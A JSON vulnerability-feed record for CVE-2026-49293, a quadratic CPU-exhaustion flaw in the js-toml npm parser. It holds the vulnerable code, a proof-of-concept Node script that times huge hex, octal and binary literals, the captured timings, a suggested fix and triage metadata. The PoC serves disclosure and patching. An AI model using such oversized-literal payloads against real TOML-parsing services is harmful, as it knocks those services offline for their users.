{"id":"CVE-2026-49293","kind":"vulnerability","aliases":["CVE-2026-49293","GHSA-wp3c-266w-4qfq"],"related":[],"title":"js-toml vulnerable to CPU exhaustion via O(n^2) BigInt construction on radix-prefixed integer literals","description":"## Summary\n\n`js-toml` versions up to and including **1.1.0** parse hexadecimal / octal / binary integer literals via a hand-written `parseBigInt` loop that multiplies a `BigInt` accumulator by the radix once per input digit. Each iteration performs a `BigInt * BigInt` operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is **O(n²)** in the literal length. The lexer regex places **no upper bound on the literal length**, so a single TOML document containing one ~500 kB hex literal pins one CPU core for **~40 seconds** on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work.\n\nA caller that invokes `load()` on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party `*.toml`, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS.\n\nCWE-1333 (Inefficient Regular Expression Complexity → here, inefficient parser complexity), CWE-400 (Uncontrolled Resource Consumption), CWE-407 (Inefficient Algorithmic Complexity).\n\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = **7.5 (HIGH)** when the parser is invoked on attacker-controllable input; LOW when the calling application restricts TOML input size to small documents (< 1 kB).\n\n## Affected\n\n- Package: `js-toml` (npm)\n- Versions: `>= 0.0.0, <= 1.1.0` (all released versions up to and including the current `1.1.0`)\n- Affected entry point: `load()` exported from the package root\n\n## Vulnerable code\n\n`src/load/tokens/NonDecimalInteger.ts` lines 54-84 at SHA-pinned [`2470ebf2e9009096aa4cbd1a15e574c54cc36b1a`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts#L54-L84):\n\n```ts\nconst parseBigInt = (string: string, radix: number): bigint => {\n  let result = BigInt(0);\n  for (let i = 0; i < string.length; i++) {\n    const char = string[i];\n    const digit = parseInt(char, radix);\n    result = result * BigInt(radix) + BigInt(digit);\n  }\n\n  return result;\n};\n```\n\nand the interpreter that dispatches to it at lines 72-84:\n\n```ts\nregisterTokenInterpreter(NonDecimalInteger, (raw: string) => {\n  const intString = raw.replace(/_/g, '');\n  const digits = intString.slice(2);\n  const radix = getRadix(raw);\n\n  const int = parseInt(digits, radix);\n\n  if (Number.isSafeInteger(int)) {\n    return int;\n  }\n\n  return parseBigInt(digits, radix);\n});\n```\n\nTwo compounding problems:\n\n1. **Algorithmic**: the loop performs `result * BigInt(radix) + BigInt(digit)` once per input digit. After `i` iterations `result` has `O(i)` limbs, so the multiply costs `O(i)`. Summed over `n` digits the total cost is `O(n²)`.\n\n2. **No length guard**: the lexer regex at [`src/load/tokens/NonDecimalInteger.ts#L14-L46`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts#L14-L46) is `0x<hexDigit>(<hexDigit>|_<hexDigit>)*` (likewise for `0o` / `0b`). The literal length is bounded only by the input document size. There is no `maxNumberLength` / `maxLiteralLength` option, no `chevrotain`-level cutoff, and no validation at the interpreter callsite.\n\nBy contrast, the `DecimalInteger` token interpreter at [`src/load/tokens/DecimalInteger.ts#L12-L19`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/DecimalInteger.ts#L12-L19) uses the V8 native `BigInt(intString)` constructor, which is `O(n)` and runs in single-digit milliseconds for inputs that take 40 seconds via the hand-written radix loop.\n\n## Impact\n\nA single attacker-supplied TOML document containing one ~500 kB radix-prefixed integer literal pins one CPU core for ~40 seconds on a modern laptop. Doubling the literal length quadruples the work. With `8 MB` of input the parse would block the event loop for many minutes of CPU. In a typical Node.js single-thread process this blocks all concurrent request handling for the duration. The defect is exploitable on any code path that calls `load()` (the only documented entry point) on attacker-controlled or third-party TOML.\n\n## Reachability\n\nThe vulnerable path is the default code path for `load()`. No options or configuration are required to trigger it. Any caller that exposes `load()` to attacker-controlled or third-party TOML input reaches it on the first hex / octal / binary literal whose value exceeds `Number.MAX_SAFE_INTEGER` (i.e. more than 13 hex digits, 18 octal digits, or 53 binary digits).\n\nRealistic exposure surfaces:\n\n- Web service that accepts a user-supplied TOML configuration (settings import, theme upload, deployment manifest).\n- CI / CD or build tool that runs `js-toml` on TOML in third-party repositories or pull requests.\n- IDE / language-server plugin that re-parses a TOML buffer on every keystroke.\n- Multi-tenant SaaS that lets one tenant submit TOML processed by a shared worker.\n\n## PoC (End-to-end reproduction)\n\n### Environment\n\n- Node.js `v22.x` (tested on `v22.0.0` and Node `v26.0.0`)\n- macOS arm64 / Linux x86_64 (CPU exhaustion is hardware-independent; absolute timings will scale by CPU clock)\n\n### Install\n\n```bash\nmkdir js-toml-cve && cd js-toml-cve\nnpm init -y\nnpm install js-toml@1.1.0 @iarna/toml\n```\n\n### `poc_full_e2e.mjs`\n\n```js\nimport { load } from 'js-toml';\nimport iarna from '@iarna/toml';\n\nfunction timeIt(label, fn) {\n  const t0 = process.hrtime.bigint();\n  let result, err;\n  try { result = fn(); } catch (e) { err = e; }\n  const t1 = process.hrtime.bigint();\n  const ms = (Number(t1 - t0) / 1e6).toFixed(1);\n  if (err) console.log(`${label}: ERROR ${err.message} after ${ms}ms`);\n  else     console.log(`${label}: ${ms}ms${result ? ' ' + result : ''}`);\n}\n\nconsole.log('--- Sanity baseline (small inputs) ---');\ntimeIt('decimal int 1', () => { load('x = 1'); return ''; });\ntimeIt('hex 0x10',      () => { load('x = 0x10'); return ''; });\ntimeIt('hex 0xffff',    () => { load('x = 0xffff'); return ''; });\n\nconsole.log('\\n--- Amplification curve: js-toml.load() with 0x<N hex digits> ---');\nfor (const n of [10_000, 20_000, 50_000, 100_000, 200_000, 500_000]) {\n  const hexDigits = 'f'.repeat(n);\n  const tomlText  = `x = 0x${hexDigits}`;\n  timeIt(`hex ${n.toLocaleString()} digits (${tomlText.length} bytes input)`,\n    () => {\n      const r = load(tomlText);\n      return `bits=${r.x.toString(2).length}`;\n    });\n}\n\nconsole.log('\\n--- Negative control: same input via @iarna/toml ---');\nfor (const n of [10_000, 50_000, 100_000, 200_000]) {\n  const hexDigits = 'f'.repeat(n);\n  const tomlText  = `x = 0x${hexDigits}`;\n  timeIt(`@iarna/toml hex ${n.toLocaleString()} digits`,\n    () => {\n      const r = iarna.parse(tomlText);\n      return `type=${typeof r.x}`;\n    });\n}\n\nconsole.log('\\n--- Octal / binary share the same code path ---');\nfor (const n of [50_000, 100_000]) {\n  const octDigits = '7'.repeat(n);\n  const binDigits = '1'.repeat(n);\n  timeIt(`oct 0o${n.toLocaleString()} digits`,\n    () => { const r = load(`x = 0o${octDigits}`); return `bits=${r.x.toString(2).length}`; });\n  timeIt(`bin 0b${n.toLocaleString()} digits`,\n    () => { const r = load(`x = 0b${binDigits}`); return `bits=${r.x.toString(2).length}`; });\n}\n```\n\n### Captured run output (unpatched `js-toml@1.1.0`, Node v26.0.0, Apple M-series)\n\n```\n# js-toml version: 1.1.0\n\n--- Sanity baseline (small inputs) ---\ndecimal int 1: 1.3ms\nhex 0x10: 0.4ms\nhex 0xffff: 0.1ms\n\n--- Amplification curve: js-toml.load() with 0x<N hex digits> ---\nhex 10,000 digits (10006 bytes input): 15.0ms bits=40000\nhex 20,000 digits (20006 bytes input): 29.8ms bits=80000\nhex 50,000 digits (50006 bytes input): 214.7ms bits=200000\nhex 100,000 digits (100006 bytes input): 693.0ms bits=400000\nhex 200,000 digits (200006 bytes input): 3239.6ms bits=800000\nhex 500,000 digits (500006 bytes input): 40388.3ms bits=2000000\n\n--- Negative control: same input via @iarna/toml ---\n@iarna/toml hex 10,000 digits: 2.3ms type=bigint\n@iarna/toml hex 50,000 digits: 3.2ms type=bigint\n@iarna/toml hex 100,000 digits: 5.4ms type=bigint\n@iarna/toml hex 200,000 digits: 10.2ms type=bigint\n\n--- Octal / binary share the same code path ---\noct 0o50,000 digits: 187.6ms bits=150000\nbin 0b50,000 digits: 49.5ms bits=50000\noct 0o100,000 digits: 633.2ms bits=300000\nbin 0b100,000 digits: 196.8ms bits=100000\n```\n\nConfirmation points:\n\n- Quadratic curve: 10k → 20k digits is ~2x time (15ms → 30ms); 100k → 200k is ~4.7x time (693ms → 3239ms); 200k → 500k (2.5x) is ~12x time (3.2s → 40s). Matches the predicted `O(n²)`.\n- Single ~500 kB document blocks the event loop for ~40 s of CPU time.\n- Octal and binary literals trigger the same path through `parseBigInt(digits, 8)` and `parseBigInt(digits, 2)`.\n- The negative control (`@iarna/toml`, which calls the V8 native `BigInt(value)` constructor) parses the same inputs in 2-10 ms. The defect is in `js-toml`'s hand-written radix conversion, not in V8 `BigInt` semantics or in the input size itself.\n\n### Patched-build verification\n\nAfter applying the fix (replace `parseBigInt(digits, radix)` with `BigInt('0' + raw[1] + digits)` and add a `maxLiteralLength` guard at the interpreter callsite), the same PoC produces:\n\n```\n--- Amplification curve: js-toml.load() with 0x<N hex digits> ---\nhex 10,000 digits: 0.2ms bits=40000\nhex 20,000 digits: 0.3ms bits=80000\nhex 50,000 digits: 0.7ms bits=200000\nhex 100,000 digits: 1.5ms bits=400000\nhex 200,000 digits: 2.8ms bits=800000\nhex 500,000 digits: 7.1ms bits=2000000\n```\n\n(Linear scaling, sub-10 ms even on inputs five orders of magnitude larger than any realistic literal.) With a 1000-digit cap applied at the interpreter callsite, literals beyond the cap raise `SyntaxParseError` instead of being parsed at all, matching the `maxNumberLength` convention used by `jackson-core` `StreamReadConstraints` and `gson` `NumberLimits`.\n\n## Suggested fix\n\nTwo changes, both in [`src/load/tokens/NonDecimalInteger.ts`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts):\n\n1. Replace the hand-written `parseBigInt` loop with the V8 native `BigInt(prefixedString)` constructor. `BigInt` natively accepts the `0x` / `0o` / `0b` prefix and parses in `O(n)`:\n\n   ```ts\n   registerTokenInterpreter(NonDecimalInteger, (raw: string) => {\n     const intString = raw.replace(/_/g, '');\n     const digits = intString.slice(2);\n     const radix = getRadix(raw);\n\n     // Optional but recommended: cap the literal length to avoid degenerate inputs\n     const MAX_RADIX_LITERAL_LENGTH = 1000;\n     if (digits.length > MAX_RADIX_LITERAL_LENGTH) {\n       throw new SyntaxParseError(\n         `Radix-prefixed integer literal exceeds ${MAX_RADIX_LITERAL_LENGTH} digits`\n       );\n     }\n\n     const int = parseInt(digits, radix);\n     if (Number.isSafeInteger(int)) {\n       return int;\n     }\n\n     // BigInt accepts '0x'/'0o'/'0b' prefix natively\n     return BigInt(intString);\n   });\n   ```\n\n2. Delete the `parseBigInt` helper. The native constructor handles all three radices.\n\nEither change alone fixes the worst-case wall-clock. The combination matches the constraint posture of `jackson-core` (`StreamReadConstraints.validateIntegerLength`) and `gson` (`NumberLimits.checkNumberStringLength`).\n\n## Fix PR link\n\nhttps://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2\n\n## Credit\n\nReported by `tonghuaroot`.","summary":"js-toml parses hex, octal and binary integer literals with a loop that is quadratic in the literal length, so a single large literal in a TOML document can keep one CPU core busy for tens of seconds. An attacker who can supply TOML to a service that calls load() can cause a denial of service.","severity":"high","cvss":7.5,"epss":0.00644,"exploited":false,"exploited_at":null,"products":[{"name":"js-toml","fixed":["1.1.2"],"affected":"<= 1.1.1","ecosystem":"npm"},{"name":"sunnyadn js-toml","fixed":["1.1.1"],"affected":"< 1.1.1","ecosystem":"vendor"}],"ecosystems":["npm","vendor"],"tags":["ci","cwe-1333","cwe-400","cwe-407","js-toml","node","npm","package","saas"],"not_affected_if":["input-size-limited","no-toml-parsing","trusted-input-only"],"how_to_check":"- Run `npm ls js-toml` in each project and check whether any resolved version is `1.1.1` or lower.\n- Look for any code path that calls `load()` from js-toml on TOML from users, uploads, or third-party repositories.","fix":"- `js-toml`: move to `1.1.2` or later.","status":"open","published_at":"2026-06-19T19:16:36+00:00","first_seen_at":"2026-11-04T03:46:29+00:00","triaged_at":"2026-11-04T03:47:19+00:00","updated_at":"2026-11-04T04:16:16+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-11-04T03:47:19Z","model":"claude-haiku-5-5","output":{"fix":"- `js-toml`: move to `1.1.2` or later.","reach":"internet","title":"js-toml: parsing large hex, octal or binary literals exhausts CPU","impact":"medium","summary":"js-toml parses hex, octal and binary integer literals with a loop that is quadratic in the literal length, so a single large literal in a TOML document can keep one CPU core busy for tens of seconds. An attacker who can supply TOML to a service that calls load() can cause a denial of service.","audience":"developers","category":"package","nicknames":[],"who_cares":["npm","js-toml","node","ci","saas"],"confidence":0.85,"fix_status":"available","needs_auth":"no","worst_case":"A single request can block a server's event loop for tens of seconds.","analyst_note":"","how_to_check":"- Run `npm ls js-toml` in each project and check whether any resolved version is `1.1.1` or lower.\n- Look for any code path that calls `load()` from js-toml on TOML from users, uploads, or third-party repositories.","plain_action":"","needs_analyst":false,"not_affected_if":["trusted-input-only","input-size-limited","no-toml-parsing"],"who_is_affected":"Any application that calls js-toml's load() on TOML it does not fully control, such as upload endpoints, CI systems parsing third-party TOML, IDE plugins, or multi-tenant workers. Projects that only parse their own trusted TOML files are much less exposed, and the advisory notes the impact falls to low when input is kept under about 1 kB.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"high"},"cost_usd":0.001217,"input_tokens":9343,"output_tokens":565,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-1333':40B,268C '-2026':21A,29A '-400':42B,278C '-407':44B,283C '-49293':22A,30A '-84':357C,412C '/_/g':421C '/av':289C '/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/decimalinteger.ts#l12-l19)':547C '/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/nondecimalinteger.ts#l14-l46)':499C '/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/nondecimalinteger.ts#l54-l84):':365C '0':377C,381C '0.0.0':331C '0b':505C '0o':504C '0x':501C '1':322C,447C '1.1.0':118C,332C,342C '2':11A,425C,485C '2470ebf2e9009096aa4cbd1a15e574c54cc36b1a':362C '266w':26A '3.1':288C '40':202C,570C,601C '4qfq':27A '500':193C,589C '54':356C '7.5':298C '72':411C '8':615C 'accumul':136C,153C 'affect':324C,343C 'algorithm':285C,448C 'alreadi':162C 'amplif':215C,220C 'appl':208C 'applic':314C 'attack':92B,240C,307C,583C 'attacker-control':239C,306C 'attacker-suppli':582C 'bigint':12A,135C,148C,149C,373C,376C,396C,398C,453C,455C,552C 'binari':59B,122C 'bl':640C 'block':622C 'bound':181C,217C,510C 'build':255C 'busi':86B 'call':101B,313C 'caller':234C 'callsit':533C 'caus':104B 'char':386C,392C 'chevrotain':524C 'ci':38B 'ci/cd':246C 'code':353C 'complex':272C,276C,286C 'compound':445C 'configur':243C 'const':367C,385C,389C,418C,422C,426C,430C 'construct':13A 'constructor':554C 'consum':163C 'consumpt':281C 'contain':191C,587C 'contrast':535C 'control':241C,308C 'core':85B,200C,599C 'cost':472C,481C 'cpu':6A,84B,199C,219C,264C,598C,630C 'current':341C 'cutoff':526C 'cve':20A,28A 'cvss':287C 'cwe':39B,41B,43B,267C,277C,282C 'decimalinteg':537C 'denial':106B 'digit':143C,161C,390C,399C,423C,433C,442C,456C,460C,478C,564C 'dispatch':406C 'document':80B,190C,321C,515C,586C 'dos':266C 'doubl':226C,607C 'endpoint':245C 'entri':344C 'event':624C 'exhaust':7A,265C 'export':347C 'expos':258C 'express':271C 'getradix':428C 'ghsa':24A 'ghsa-wp3c-266w-4qfq':23A 'github.com':364C,498C,546C 'github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/decimalinteger.ts#l12-l19)':545C 'github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/nondecimalinteger.ts#l14-l46)':497C 'github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/nondecimalinteger.ts#l54-l84):':363C 'grow':155C,224C 'guard':488C 'h':297C 'hand':128C,575C 'hand-written':127C,574C 'hex':56B,195C 'hexadecim':120C 'high':299C 'ide':253C 'impact':579C 'includ':117C,339C 'ineffici':269C,274C,284C 'ingest':248C 'input':142C,309C,317C,459C,514C,567C,618C 'int':431C,437C,439C 'integ':18A,60B,123C,594C 'interpret':404C,532C,539C 'intstr':419C,553C 'intstring.slice':424C 'invok':236C,304C 'iter':145C,463C 'js':2A,32A,36A,46B,53B,111C,327C 'js-toml':1A,31A,35A,45B,52B,110C,326C 'kb':194C,323C,590C 'keep':82B 'l/pr':291C 'l12':543C 'l12-l19':542C 'l14':495C 'l14-l46':494C 'l19':544C 'l46':496C 'laptop':207C,606C 'larg':75B 'length':71B,174C,185C,229C,487C,508C,610C 'let':374C,379C 'level':525C 'lexer':176C,490C 'likewis':502C 'limb':468C 'line':355C,410C 'linear':156C 'liter':19A,61B,70B,76B,124C,173C,184C,196C,228C,507C,595C,609C 'load':102B,237C,346C 'loop':64B,131C,167C,450C,578C,625C 'low':310C 'm':210C 'm-seri':209C 'mani':627C 'maxliterallength':521C 'maxnumberlength':520C 'mb':616C 'memori':214C 'millisecond':565C 'minut':628C 'modern':206C,605C 'multipli':133C,471C 'n':10A,170C,477C,484C,558C 'n/a':296C 'n/ac':290C 'n/i':295C 'n/s':293C 'n/ui':292C 'nativ':551C 'node':48B,212C 'node.js':634C 'nondecimalinteg':415C 'npm':49B,329C 'number':159C,372C 'number.issafeinteger':436C 'o':9A,169C,466C,473C,483C,557C 'octal':57B,121C 'one':83B,192C,198C,588C,597C 'oper':150C 'option':522C 'packag':50B,325C,350C 'pars':55B,119C,620C 'parsebigint':130C,368C,441C 'parseint':391C,432C 'parser':275C,302C 'parti':251C 'per':141C,458C 'perform':146C,451C 'pin':197C,361C,596C 'place':178C 'plugin':254C 'point':345C 'prefix':17A,593C 'problem':446C 'process':638C 'quadrat':67B,225C 'quadrupl':230C,611C 'radix':16A,139C,371C,393C,397C,427C,434C,443C,454C,577C,592C 'radix-prefix':15A,591C 'raw':416C,429C 'raw.replace':420C 'regex':177C,491C 'registertokeninterpret':414C 'regular':270C 'releas':334C 'request':263C 'resourc':280C 'restrict':315C 'result':375C,394C,395C,401C,452C,464C 'return':400C,438C,440C 'root':351C 'run':560C 'saa':51B 'second':90B,203C,571C,602C 'seri':211C 'servic':99B,108B 'sever':222C 'sha':360C 'sha-pin':359C 'singl':74B,188C,262C,563C,581C,636C 'single-digit':562C 'single-request':261C 'single-thread':635C 'size':318C,516C 'small':320C 'src/load/tokens/decimalinteger.ts':541C 'src/load/tokens/nondecimalinteger.ts':354C,493C 'string':369C,370C,387C,417C 'string.length':383C 'sum':475C 'summari':109C 'sunnyadn':34A 'suppli':95B,584C 'system':247C 'take':569C 'ten':88B 'third':250C 'third-parti':249C 'thread':637C 'token':538C 'toml':3A,33A,37A,47B,54B,79B,96B,112C,189C,242C,252C,316C,328C,585C 'tool':256C 'total':480C 'ts':366C,413C 'two':444C 'typic':633C 'u/c':294C 'uncontrol':279C 'upload':244C 'upper':180C 'use':548C 'v22':213C 'v8':550C 'valid':529C 'version':113C,330C,335C 'via':8A,125C,572C 'vulner':4A,352C 'whole':166C 'work':232C,613C 'would':621C 'wp3c':25A 'written':129C,576C","nicknames":[],"mitigations":[],"who_affected":"Any application that calls js-toml's load() on TOML it does not fully control, such as upload endpoints, CI systems parsing third-party TOML, IDE plugins, or multi-tenant workers. Projects that only parse their own trusted TOML files are much less exposed, and the advisory notes the impact falls to low when input is kept under about 1 kB.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["jstoml","sunnyadnjstoml"],"ptokens":["js","sunnyadn","toml"],"labels":["ci","cwe1333","cwe400","cwe407","high","jstoml","node","npm","package","saas","vendor"],"campaign_type":null,"first_public_at":"2026-05-25T17:38:00+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-wp3c-266w-4qfq","url":"https://github.com/advisories/GHSA-wp3c-266w-4qfq","severity":"high","published_at":"2026-06-26T22:21:43+00:00","modified_at":"2026-11-04T03:41:52+00:00","first_seen_at":"2026-11-04T03:46:29+00:00","fetched_at":"2026-11-04T03:51:43+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-49293","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49293","severity":null,"published_at":"2026-06-19T19:16:36+00:00","modified_at":"2026-10-25T23:10:00+00:00","first_seen_at":"2026-11-04T04:16:16+00:00","fetched_at":"2026-11-04T04:16:16+00:00","note":null}],"documents":[{"id":63790,"url":"https://api.github.com/repos/sunnyadn/js-toml/security-advisories/GHSA-wp3c-266w-4qfq","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":63791,"url":"https://github.com/sunnyadn/js-toml/security/advisories/GHSA-wp3c-266w-4qfq","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-05-25T17:38:00+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":63792,"url":"https://github.com/sunnyadn/js-toml/commit/1e45ca56ba12e98508f8aae3e31c4aff7603d711","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":63793,"url":"https://github.com/sunnyadn/js-toml/releases/tag/v1.1.2","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"},{"id":63914,"url":"https://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2","title":"Patch: github.com","kind":"other","source":"nvd","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":63915,"url":"https://github.com/sunnyadn/js-toml/releases/tag/v1.1.1","title":"Release notes: github.com","kind":"release","source":"nvd","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release notes: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}